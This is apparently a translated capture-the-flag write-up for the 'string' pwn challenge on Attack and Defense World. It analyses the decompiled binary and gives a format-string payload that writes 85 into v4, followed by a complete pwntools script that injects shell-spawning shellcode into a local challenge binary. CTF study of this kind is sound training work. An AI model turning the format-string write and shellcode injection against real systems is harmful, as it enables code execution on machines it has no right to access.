Pwn String WriteUp in 'Attack and Defense World'
Random Thoughts at the Beginning
Why is this Pwn challenge so difficult? Can't understand the WriteUp at all. Quitting Pwn immediately
Anyway, let's start by taking down this newbie area of the Attack and Defense World.
After a few days of not-so-systematic three days of fishing and two days of drying nets studying, I can only say I am extremely confident now.
String should be the most interesting and challenging challenge in the novice area of the Attack and Defense World. Let's do this!
Let's Go
Analysis
In summary, let's do a quick scan. There is no PIE in 64-bit.
Let's first look at the main function.
v4 allocates memory of 8 bytes to store the data 68, 85
, and then it prints out the addresses of these two data.
Let's dive into sub_400D72()
.
It asks us for a name, but the length of the input for 's' is checked, so no buffer overflow seems possible.
Let's continue to check the other functions. First, it's sub_400A7D()
.
As a side note for improving English skills, let's translate this(?):
This is a famous yet unusually different tavern. The air here is fresh, the marble floor is clean. There are hardly any noisy customers, and the furniture is not damaged as commonly seen in fights at other taverns in this world. The decoration is extremely gorgeous, looking like it belongs in a palace, but in this city, it's quite ordinary. In the center of the room are chairs and benches covered with velvet, surrounded by a large oak table. A large sign is fixed on a wall to the north behind a wooden strip. In one corner, you find a fireplace. There are two noticeable exits: east and up. Strangely, there is no one there, so where do you go?
This background is not unattractive per se, but translating it feels like a waste of time.
I am a silly assistant
So, we are given the choice to go east
or up
, but looking at the code below, it seems we can only choose east
(choosing up
will lead you to an endless pit). Let's move on to sub_400BB9()
.
Here, it mentions address
, which easily connects to our earlier v4
. It seems we need to manipulate v2 and the format string, but the exact operation is not clear yet. Let’s continue with sub_400CA6()
.
This 'a1' is actually our initial v4, so we need to make *v4 = v4[1]
.
Pay attention to ((void (__fastcall *)(_QWORD))v1)(0LL);
, this line converts v1 into an executable function (void as return type, __fastcall as a calling convention), meaning we can now inject shellcode.
Payload
The next step is how to achieve it.
Let’s write the first few fixed steps:
Now, we need to introduce the format string vulnerability, learn more.
We need to find the position of v4 in the stack and craft our payload accordingly:
payload = 'AAAA'+'.%x'*10
We see that our 41414141
is in the eighth position on the stack, and the v4_addr we wrote is in the previous position. At this point, we can craft a payload to make *v4=85:
payload = '%85c%7$n'
Now we have satisfied the conditions in sub_400CA6()
, so we just need to inject a shellcode to get a shell.
Complete payload:
from pwn import *
context(log_level='debug')
sh = process('./1d3c852354df4609bf8e56fe8e9df316')
sh.recvuntil('secret[0] is ')
v4_addr = int(sh.recvuntil('\n')[:-1], 16)
print(v4_addr)
sh.recvuntil('be:')
sh.sendline(b'yuusya')
sh.sendlineafter('east or up?:\n', b'east')
sh.sendlineafter('leave(0)?:\n', b'1')
# *v4 = 85
sh.sendlineafter("address'\n", str(v4_addr))
payload = '%85c%7$n'
sh.sendline(payload)
sh.recvuntil('I hear it')
context(arch='amd64', os='linux')
sh.sendlineafter('SPELL', asm(shellcraft.sh()))
sh.interactive()